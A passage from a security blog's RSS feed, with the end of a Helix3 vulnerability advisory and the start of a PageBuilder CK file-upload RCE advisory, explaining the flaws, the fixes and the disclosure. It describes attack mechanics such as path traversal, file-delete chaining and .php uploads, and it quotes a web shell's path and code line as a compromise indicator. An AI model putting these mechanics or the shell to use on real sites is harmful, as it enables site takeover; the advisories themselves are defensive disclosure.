&lt;p&gt;&lt;strong&gt;Helix Ultimate&lt;/strong&gt; is a separate, newer template with its own codebase and version numbers. It is not affected by this issue, though it had its own security release a week later: &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate 2.2.7&lt;/a&gt; fixed a different set of flaws in its own AJAX handler. If you run sites on both, each framework needs its own update.&lt;/p&gt;
&lt;p&gt;The vulnerable code is the &lt;code&gt;onAjaxHelix3&lt;/code&gt; handler inside the Helix3 ajax plugin.&lt;/p&gt;
&lt;h2&gt;What the bug actually did&lt;/h2&gt;
&lt;p&gt;Joomla has a built-in dispatcher called &lt;code&gt;com_ajax&lt;/code&gt; that lets plugins expose an endpoint at a predictable URL. It is a normal, useful feature. The catch is that &lt;code&gt;com_ajax&lt;/code&gt; will happily call a plugin&apos;s handler for a completely anonymous visitor. Authorisation is the plugin&apos;s job, not Joomla&apos;s.&lt;/p&gt;
&lt;p&gt;In Helix3 before 3.1.1, the handler took an &lt;code&gt;action&lt;/code&gt; parameter and ran the matching code. Most of those actions did their work before checking a session token or a user permission. So an unauthenticated request could reach them. Three of them are dangerous:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;save&lt;/code&gt;&lt;/strong&gt; writes attacker-controlled content to a file under the active template. The filename is forced to end in &lt;code&gt;.json&lt;/code&gt;, but the path was not sanitised, so directory traversal let the file land outside the intended layout folder.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;remove&lt;/code&gt;&lt;/strong&gt; deletes a file. It applied no extension constraint and no path validation at all, so path traversal turned it into an arbitrary file delete: anything the web server user could reach.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;import&lt;/code&gt;&lt;/strong&gt; overwrites the stored parameters of any template style in the database.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There were more unguarded actions beyond those three (&lt;code&gt;load&lt;/code&gt;, &lt;code&gt;resetLayout&lt;/code&gt;, &lt;code&gt;updateFonts&lt;/code&gt;, &lt;code&gt;fontVariants&lt;/code&gt;), all reachable without authentication.&lt;/p&gt;
&lt;h3&gt;Is the file write remote code execution?&lt;/h3&gt;
&lt;p&gt;Not automatically, and this is worth being precise about because overclaiming helps nobody. The write is constrained to a &lt;code&gt;.json&lt;/code&gt; extension. On a hardened host that is a serious integrity problem but not a guaranteed shell.&lt;/p&gt;
&lt;p&gt;It becomes code execution in two realistic situations. First, on server configurations that pass a file like &lt;code&gt;name.php.json&lt;/code&gt; to the PHP handler (some misconfigured Apache setups do exactly this). Second, the arbitrary-delete primitive can be chained with other upload paths to remove the protections, like a &lt;code&gt;.htaccess&lt;/code&gt; or an &lt;code&gt;index.html&lt;/code&gt;, that would otherwise stop a planted file from running. The arbitrary delete and the template-parameter overwrite are damaging in their own right on every host, regardless of whether you ever reach code execution.&lt;/p&gt;
&lt;h2&gt;The rest of the release: everything else 3.1.1 fixed&lt;/h2&gt;
&lt;p&gt;The unauthenticated file write is the headline, but it is not the whole release. Our review of the Helix3 ajax plugin turned up several more issues, and 3.1.1 closes all of them. None of the extra fixes are described anywhere public either. If you are weighing how urgent this update is, the full list is the answer: this is a security release with several distinct holes closed, not a single bug fix.&lt;/p&gt;
&lt;p&gt;Here is everything 3.1.1 changes, beyond the &lt;code&gt;save&lt;/code&gt;, &lt;code&gt;remove&lt;/code&gt; and &lt;code&gt;import&lt;/code&gt; actions already covered.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Image upload accepted any file type.&lt;/strong&gt; The old upload action took the file extension straight from the uploaded filename, with no allow-list and no content check, then saved it. So a logged-in user with the common &lt;code&gt;core.create&lt;/code&gt; permission, an Author or Editor on many Joomla sites, could upload a &lt;code&gt;.php&lt;/code&gt; file and run it. That is a privilege escalation to code execution from a low-trust account. The new code restricts uploads to &lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;jpeg&lt;/code&gt;, &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;gif&lt;/code&gt; and &lt;code&gt;webp&lt;/code&gt;, runs the name through &lt;code&gt;File::makeSafe&lt;/code&gt;, and verifies the file is actually an image with &lt;code&gt;getimagesize()&lt;/code&gt; before it is written.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The image delete action had the same traversal as &lt;code&gt;remove&lt;/code&gt;.&lt;/strong&gt; It took a &lt;code&gt;src&lt;/code&gt; parameter and deleted it with no path validation, so it was a second route to arbitrary file deletion. The new code forces the path under the site&apos;s &lt;code&gt;images&lt;/code&gt; folder and resolves it with &lt;code&gt;realpath()&lt;/code&gt; before deleting anything.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Output was not escaped, which is cross-site scripting.&lt;/strong&gt; The font picker output, the uploaded-image markup, and the &lt;code&gt;data-&lt;/code&gt; attributes the framework builds were all emitted without escaping. An attacker who could influence any of those values could inject script into the admin&apos;s browser. The new code runs them through &lt;code&gt;htmlspecialchars&lt;/code&gt;, and sanitises attribute keys.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A live Google Fonts API key was hardcoded in the source.&lt;/strong&gt; The old &lt;code&gt;updateFonts&lt;/code&gt; action shipped with a real API key embedded in the plugin file, readable by anyone with the code. The new version removes it and reads the key from a template parameter instead. A leaked credential is a leaked credential, regardless of how the bug was found.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The article-rating action could be spammed.&lt;/strong&gt; Voting had no rate limit and no check that the article being rated existed or was published, so it could be hammered against arbitrary content IDs. The new code verifies the article, tracks votes per session, and rate-limits to five votes a minute.&lt;/p&gt;
&lt;p&gt;Add it up and 3.1.1 closes an unauthenticated file write, an arbitrary file delete (twice over), a template-settings overwrite, an authenticated-upload route to code execution, a stored XSS, a leaked API key, and a ratings-abuse hole. &quot;Security Update&quot; covers all of that in two words.&lt;/p&gt;
&lt;h2&gt;How 3.1.1 closes it&lt;/h2&gt;
&lt;p&gt;The fix is the right shape, which is reassuring. 3.1.0 trusted the request. 3.1.1 verifies it, and it does so consistently across every action. Here is the complete set of hardening in the release and what each piece addresses.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hardening in 3.1.1&lt;/th&gt;
&lt;th&gt;What it fixes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Action allow-list, split into admin actions and public actions&lt;/td&gt;
&lt;td&gt;Unknown actions get a 403; only &lt;code&gt;voting&lt;/code&gt; is treated as public&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;requireAuthorisedAdminRequest()&lt;/code&gt; checks &lt;code&gt;core.admin&lt;/code&gt; / &lt;code&gt;core.manage&lt;/code&gt; and a valid CSRF token on every admin action&lt;/td&gt;
&lt;td&gt;Stops unauthenticated guests reaching &lt;code&gt;save&lt;/code&gt; / &lt;code&gt;remove&lt;/code&gt; / &lt;code&gt;import&lt;/code&gt; / font / upload / delete&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;requireValidToken()&lt;/code&gt; on the public &lt;code&gt;voting&lt;/code&gt; action&lt;/td&gt;
&lt;td&gt;CSRF protection on the one guest-facing action&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sanitizeLayoutName()&lt;/code&gt; (&lt;code&gt;basename&lt;/code&gt;, strict &lt;code&gt;a-z0-9_-&lt;/code&gt; pattern, strips &lt;code&gt;.json&lt;/code&gt;) plus &lt;code&gt;getLayoutFilePath()&lt;/code&gt; with a &lt;code&gt;realpath()&lt;/code&gt; containment check&lt;/td&gt;
&lt;td&gt;Kills path traversal in the &lt;code&gt;save&lt;/code&gt; / &lt;code&gt;remove&lt;/code&gt; / &lt;code&gt;load&lt;/code&gt; layout file operations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getSafeMediaImagePath()&lt;/code&gt; rejects null bytes and &lt;code&gt;..&lt;/code&gt;, forces an &lt;code&gt;images/&lt;/code&gt; prefix, and requires the resolved path to stay under the site images folder&lt;/td&gt;
&lt;td&gt;Kills the arbitrary file delete in &lt;code&gt;remove_image&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Upload validation: &lt;code&gt;File::makeSafe&lt;/code&gt;, &lt;code&gt;basename&lt;/code&gt;, an extension allow-list (&lt;code&gt;jpg&lt;/code&gt; / &lt;code&gt;jpeg&lt;/code&gt; / &lt;code&gt;png&lt;/code&gt; / &lt;code&gt;gif&lt;/code&gt; / &lt;code&gt;webp&lt;/code&gt;) and a &lt;code&gt;getimagesize()&lt;/code&gt; content check&lt;/td&gt;
&lt;td&gt;Stops uploading &lt;code&gt;.php&lt;/code&gt; or other non-image files (the code-execution vector)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;import&lt;/code&gt; now verifies the template ID exists with &lt;code&gt;client_id = 0&lt;/code&gt;, validates and round-trips the JSON, and caps it at 1 MB&lt;/td&gt;
&lt;td&gt;Stops arbitrary template-styles tampering and oversized payloads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Size caps on layout content (1 MB) and import settings (1 MB)&lt;/td&gt;
&lt;td&gt;Denial of service and abuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;htmlspecialchars&lt;/code&gt; escaping on font output, image output and &lt;code&gt;data-&lt;/code&gt; attributes, with attribute keys sanitised&lt;/td&gt;
&lt;td&gt;Fixes stored and reflected cross-site scripting in the rendered output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hardcoded Google Fonts API key removed; the key now comes from a template parameter&lt;/td&gt;
&lt;td&gt;Removes a leaked credential&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Voting rewritten: checks the article exists and is published, tracks votes per session, rate-limits to five votes a minute&lt;/td&gt;
&lt;td&gt;Stops ratings spam and votes against arbitrary content IDs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;The real issue: telling people to update is not telling them why&lt;/h2&gt;
&lt;p&gt;We did not go looking for this. We found it while investigating a hacked mySites.guru customer site, traced the compromise to the Helix3 ajax plugin, confirmed the flaw on a clean test install, reported it privately, and asked for the standard 90-day coordinated disclosure window. JoomShaper replied the next morning, were professional and gracious about it, and told us the fix had already shipped. They emailed users an &quot;Action Required&quot; notice and they wrote a changelog entry. On the process, they did more than many vendors do, and they deserve credit for a fast turnaround.&lt;/p&gt;
&lt;p&gt;So this is not a story about a vendor who said nothing. It is a story about a vendor who said &quot;update&quot; without saying why, which is a more common and more subtle failure.&lt;/p&gt;
&lt;p&gt;Look again at what a Helix3 user actually received. The changelog: &quot;Security Update.&quot; The email: &quot;a focused security update we recommend all users apply as soon as possible.&quot; Both true. Neither tells you:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;whether this is a minor hardening tweak, or an unauthenticated remote file write&lt;/li&gt;
&lt;li&gt;whether it is being actively exploited right now&lt;/li&gt;
&lt;li&gt;whether you need to patch before you go to bed, or whether it can wait two weeks&lt;/li&gt;
&lt;li&gt;which component is even affected&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Put yourself in the seat of someone running 30 client sites on Helix3. &quot;Apply as soon as possible&quot; is what every release email says. With no severity attached, it competes for attention with every other &quot;recommended&quot; update in the queue, and busy people triage by deferring the ones they cannot size. So a critical, unauthenticated file-write fix gets treated like a routine point release, and every deferred site stays exploitable while the patched code sits in public for anyone to diff. That is no longer a hypothetical: since 5 July the flaw has been exploited at scale in the &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Hacked by AntonKill defacement wave&lt;/a&gt;, which mass-defaces unpatched Helix3 sites and hides its payload in the database rather than a file.&lt;/p&gt;
&lt;p&gt;This is not unique to JoomShaper, and that is exactly why it is worth saying out loud. We have written about the same root-cause &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;pattern of AJAX endpoints that check a token but not authorisation&lt;/a&gt; more than once, in &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain&lt;/a&gt;, in &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid&lt;/a&gt;, in &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;, in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;. The vulnerabilities get found and fixed. The communication keeps falling short.&lt;/p&gt;
&lt;p&gt;A security notice does not need to be a full CVE write-up. It needs four things: what was affected, how serious it is, whether exploitation is known, and whether you should act immediately. &quot;Security Update&quot; and &quot;apply as soon as possible&quot; give you only the last one, and a weak version of it. The Joomla ecosystem runs on thousands of small extension and template developers, and most of them are doing their best, but the bar for how a fix gets communicated has to be higher than &quot;trust us, update.&quot; We would like to start that conversation, openly, with the developer community.&lt;/p&gt;
&lt;p&gt;That conversation now has a starting point. In August 2026 the lead of the Joomla Security Strike Team proposed a Manual page setting out &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;twenty rules for extension developers handling a security report&lt;/a&gt;, and its point 17 says in plain terms that a security fix should not be hidden in vague language. This release is what that rule exists to prevent.&lt;/p&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Find every Helix3 install you run.&lt;/strong&gt; If you use mySites.guru, search your extension inventory for Helix3 and you have the list in seconds. If you do not, you will need to check each site&apos;s installed extensions by hand.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update every one of them to Helix3 3.1.1.&lt;/strong&gt; The update is live on JoomShaper&apos;s update server and shows in the normal Joomla updater.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not confuse Helix3 with Helix Ultimate.&lt;/strong&gt; Only Helix3 needs this particular update. Helix Ultimate is a separate product with its own &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;2.2.7 security update&lt;/a&gt;, so if you run both, patch each one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check exposed sites for tampering.&lt;/strong&gt; Because the bug allowed file writes and deletes, a site left unpatched could already have been touched. Look for unexpected files under your template, missing protective files like &lt;code&gt;.htaccess&lt;/code&gt;, and unexplained changes to your template style parameters. Our guides on &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla site&lt;/a&gt; walk through this.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you would rather not do any of that by hand across a portfolio of client sites, that is precisely the job mySites.guru exists for. One inventory, every site, every framework version, one click to update. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; and see what is actually installed across your sites.&lt;/p&gt;
&lt;h2&gt;Disclosure timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Before disclosure&lt;/strong&gt; - While investigating a hacked mySites.guru customer site, we trace the compromise to the Helix3 ajax plugin and confirm the flaw on a clean test install.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;28 June 2026&lt;/strong&gt; - We privately report the unauthenticated file write, arbitrary file delete, and template-parameter overwrite in the Helix3 ajax plugin to JoomShaper, with the proof of concept withheld and a 90-day window requested.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;29 June 2026&lt;/strong&gt; - JoomShaper replies that the issue is already addressed and a patched version (3.1.1) has been released. They note a temporary outage had delayed their usual security announcement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;29 June 2026&lt;/strong&gt; - JoomShaper emails users an &quot;Action Required: Security Update Now Available for Helix 3&quot; notice and publishes the 3.1.1 changelog. Both recommend updating; neither describes the vulnerability. We forward the exchange to the Joomla security team.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;CVE Record&lt;/h2&gt;
&lt;p&gt;A CVE for this vulnerability is pending, crediting Phil Taylor of mySites.guru as the reporter. We will add the identifier here once it is assigned. In the meantime, the fixed version is the authoritative reference: if you are on Helix3 3.1.1 or later, you have the patch.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Part of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a dozen Joomla vulnerabilities we uncovered and disclosed in one month&lt;/a&gt; - the full roundup.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/joomla-templates/helix3&quot;&gt;JoomShaper Helix3 framework&lt;/a&gt; - the vendor&apos;s product page.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_the_Joomla!_Core_Ajax_Interface&quot;&gt;Joomla com_ajax documentation&lt;/a&gt; - how the unauthenticated endpoint works.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vel.joomla.org/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; - the community-run list of known Joomla extension issues.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Path_Traversal&quot;&gt;OWASP: Path Traversal&lt;/a&gt; - background on the file-path class of bug.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - another security release that shipped with a changelog telling nobody, and a developer who went back and rewrote his.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>helix3</category><category>joomshaper</category><category>file-write</category><category>file-delete</category><enclosure url="https://mysites.guru/_astro/helix3-security-update-changelog-failure.DmuSp4Ix.png" length="0" type="image/png"/></item><item><title>PageBuilder CK File Upload RCE - June 2026</title><link>https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/</guid><description>PageBuilder CK below 3.6.0 lets anyone upload and run a file on your Joomla site, no login. CVE-2026-56290, CVSS 10.0, exploited in the wild. Update to 3.6.0.</description><pubDate>Sat, 27 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;PageBuilder CK is one of the more popular free page builders for Joomla, a drag-and-drop layout tool that thousands of sites lean on for their landing pages and content. On 27 June 2026 its developer, Cedric Keiflin, shipped version 3.6.0 with a changelog that says, in full, &quot;IMPORTANT : Fix security issue&quot;. No detail, no fanfare. That terse line is hiding a serious one.&lt;/p&gt;
&lt;p&gt;In every version up to and including 3.5.10, PageBuilder CK has an unauthenticated file upload flaw that leads to remote code execution. An attacker with no login can upload a file to your Joomla site, choose which folder it goes in, and then run it. That is full control of the site: stealing data, defacing pages, planting backdoors, or using your server to attack other people. We confirmed it by comparing the old and new code and reproducing the whole chain on a clean test install.&lt;/p&gt;
&lt;p&gt;The fix is &lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot;&gt;PageBuilder CK 3.6.0&lt;/a&gt;. If any of your Joomla sites run this component, update them now, then read on for what the flaw does and how to check whether you were already hit.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update, 27 June 2026: this is now being exploited in the wild. Within hours of the fix landing, our suspect content tool flagged a live web shell on a connected Joomla site, planted through this exact flaw. The file sat at &lt;code&gt;/media/com_pagebuilderck/gfonts/bhup.php&lt;/code&gt;, an upload handler that runs whatever an attacker POSTs to it. The fix shipped on 27 June 2026 and the attackers were not far behind, so if you run PageBuilder CK below 3.6.0, treat this as urgent: update now, then check for compromise. Every affected site is already flagged on the new Important tab, and the suspect content tool is actively catching shells like this one (see below).&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Update, 17 August 2026: 3.6.0 fixed this flaw, but it did not fix it completely, and two more security issues followed it. The 3.6.0 release added the missing permission check without correcting the upload handler behind it, so any Editor account could still upload and run a PHP file up to 3.6.2 (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63048&quot;&gt;CVE-2026-63048&lt;/a&gt;, fixed in 3.6.3). A separate SQL injection in the styles handling then took two attempts to close, and is fixed in 3.6.5 (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74254&quot;&gt;CVE-2026-74254&lt;/a&gt;). If you are here to remediate, the version to be on is &lt;strong&gt;3.6.5&lt;/strong&gt;, not 3.6.0. We pulled the whole sequence apart in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;PageBuilder CK RCE fixed, again, correctly this time&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated arbitrary file upload to remote code execution&lt;/strong&gt; in PageBuilder CK, a free Joomla page builder. No login required&lt;/li&gt;
&lt;li&gt;Worse than a typical upload bug: the attacker &lt;strong&gt;chooses the destination folder&lt;/strong&gt;, so a planted file can land anywhere on the site, not just an images directory&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;every version up to and including 3.5.10&lt;/strong&gt;. Fixed in &lt;strong&gt;3.6.0&lt;/strong&gt; for current Joomla, released &lt;strong&gt;27 June 2026&lt;/strong&gt;. The vendor also back-patched the older lines: &lt;strong&gt;3.1.1&lt;/strong&gt; for Joomla 3 and &lt;strong&gt;3.4.10&lt;/strong&gt; for Joomla 4, so match the patched version to the Joomla version your site runs&lt;/li&gt;
&lt;li&gt;The only thing in the attacker&apos;s way is a &lt;strong&gt;CSRF token&lt;/strong&gt;, which any visitor can read straight off the site&apos;s own pages. That is not a security barrier&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;, CVSS 10.0 (critical)&lt;/strong&gt;, published 29 June 2026 and crediting Phil Taylor of mySites.guru as the finder. The vendor changelog reads only &quot;IMPORTANT : Fix security issue&quot;&lt;/li&gt;
&lt;li&gt;We confirmed it by &lt;strong&gt;source-diffing 3.5.10 against 3.6.0&lt;/strong&gt; and reproducing the upload-to-execution chain on a clean Joomla 5 install. We are not publishing a working exploit&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 3.6.0 on every affected site, then check for compromise.&lt;/strong&gt; Unpublishing the component does not protect you&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;The fix is out, but the longer a site stays on an old version, the more time automated scanners have to find it. Bots work through lists of Joomla sites looking for exactly this kind of flaw, and your site does not need to be a target to get caught. Update to 3.6.0 before you do anything else.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How to Find Every Joomla Site Running PageBuilder CK with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a flaw drops in a component that could be on dozens of your client sites, the first question is always the same: which of my sites run it, and on what version? If you manage 50 or 200 Joomla sites, logging into each admin to check the PageBuilder CK version is not realistic. The bots do not wait for you to finish the list.&lt;/p&gt;
&lt;p&gt;mySites.guru records the exact version of every installed extension across every connected Joomla site on a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The extension search shows you every site running PageBuilder CK, grouped by version, in seconds. Filter for anything below 3.6.0 and you have your work list.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your PageBuilder CK installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/c45129c88fda8c49f8f7c475837f869f&quot;&gt;Open PageBuilder CK Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every installed version across all your connected Joomla sites. Filter for anything below 3.6.0 to find the installations that need updating.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass extension updater&lt;/a&gt;, you can push 3.6.0 across every affected site in one batch instead of a day of logging into admin panels one at a time. What would have been a frantic afternoon becomes a triage you finish over a coffee.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;start a free month&lt;/a&gt; and connect your sites. The extension index builds automatically on the first snapshot, and you will know straight away which sites are exposed.&lt;/p&gt;
&lt;h2&gt;What the Bug Actually Did&lt;/h2&gt;
&lt;p&gt;PageBuilder CK does its work through a set of front-end endpoints, the kind of background requests a builder makes while you drag elements around and save your layout. One of those endpoints handles file uploads, for adding images to a page.&lt;/p&gt;
&lt;p&gt;The problem is what that endpoint did not check. Before a site does anything sensitive, it should ask two separate questions: who is this (authentication), and are they allowed to do this (authorization). The upload endpoint asked neither. The only thing it checked was a Joomla anti-CSRF token, a value meant to confirm a request came from a real page on the site rather than being forged from somewhere else. A CSRF token is not a login. It does not prove who you are, and it does not prove you have permission. And because Joomla prints that token into its own public pages, any visitor can grab one in a single request.&lt;/p&gt;
&lt;p&gt;So a guest, with no account and no session, could reach the upload code. That alone would be bad. What makes this critical is the second half: the endpoint took the destination folder straight from the request and the filename, including its extension, exactly as supplied. There was no allow-list restricting uploads to images, no block on PHP files, and no confinement to a media directory. The caller picked the folder, and the caller picked the file.&lt;/p&gt;
&lt;p&gt;Put those together and the attack writes itself. Upload &lt;code&gt;something.php&lt;/code&gt; into a web-served folder, then load that file in a browser, and the server runs it. That is remote code execution, the most severe class of web vulnerability there is, reachable by anyone on the internet.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;A note on what we are not publishing. We confirmed this flaw by reading the code and reproducing it on our own test install, and we reported nothing that is not already implied by the public fix. We are deliberately not naming the exact endpoint or sharing a working request. The fix is out, and the responsible thing is to get people patched, not to hand a recipe to the next scanner, although with AI help they could replicate what we did in seconds.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Now Being Exploited in the Wild&lt;/h2&gt;
&lt;p&gt;When we first published this, we had reproduced the flaw ourselves but had not seen it used against a real site. That changed within hours. Our suspect content tool flagged a live web shell on a connected Joomla site, dropped in through this exact upload flaw.&lt;/p&gt;
&lt;p&gt;The file was here:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/media/com_pagebuilderck/gfonts/bhup.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is a small uploader shell. The giveaway line is this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if( $_POST[&apos;_upl&apos;] == &quot;Upload&quot; ) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is a self-contained file manager: load the shell in a browser and it shows an upload form, then writes whatever you hand it anywhere on the server it can reach. In other words, the attacker used the PageBuilder CK flaw once to plant a permanent door, and from then on did not need the flaw at all. This is the standard pattern: the first upload is a foothold, not the payload.&lt;/p&gt;
&lt;p&gt;Two things to take from where this one landed. It sits under &lt;code&gt;/media&lt;/code&gt;, not the &lt;code&gt;/images&lt;/code&gt; folder people usually watch, which is the whole reason &quot;just lock down /images&quot; does not work against a flaw that lets the attacker pick the folder. And it hides inside &lt;code&gt;gfonts&lt;/code&gt;, a plausible-looking subfolder name that blends in with legitimate font assets. If you are checking your own sites by hand, do not just scan the obvious upload directories, and do not assume a folder is safe because its name looks innocent.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;What to look for. On any Joomla site that has run PageBuilder CK below 3.6.0, search for stray &lt;code&gt;.php&lt;/code&gt; files under &lt;code&gt;/media/com_pagebuilderck/&lt;/code&gt; and its subfolders (we found one in &lt;code&gt;gfonts/&lt;/code&gt;), and more broadly for any PHP file containing an upload handler like &lt;code&gt;$_POST[&apos;_upl&apos;]&lt;/code&gt; anywhere it should not be. Finding the shell means the site was compromised: updating to 3.6.0 closes the flaw but does not remove a door that is already in place. Clean the site properly and rotate your Joomla passwords and secrets.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;On connected sites you do not have to go looking by hand. The suspect content tool caught this one automatically, which is exactly how we knew the flaw had gone from theory to active use. Anything it flags in a site&apos;s Hacked? section should be treated as a compromise until proven otherwise.&lt;/p&gt;
&lt;h2&gt;Why &quot;Just Block /images&quot; Is Not Enough&lt;/h2&gt;
&lt;p&gt;The instinct with an upload flaw is to stop PHP files from running in the upload folder. For a lot of vulnerabilities that is a reasonable stop-gap. Here it is not, because the attacker is not limited to the upload folder. They name the destination in the request, so if you lock down one folder they simply write to another. In our testing the same upload landed and ran in several different directories, and a planted file could just as easily sit among legitimate admin files where you would never think to look for it.&lt;/p&gt;
&lt;p&gt;This is why the real answer is the update, or, if you genuinely cannot update for a few hours, blocking the vulnerable request at a web application firewall or reverse proxy so it never reaches the component at all.&lt;/p&gt;
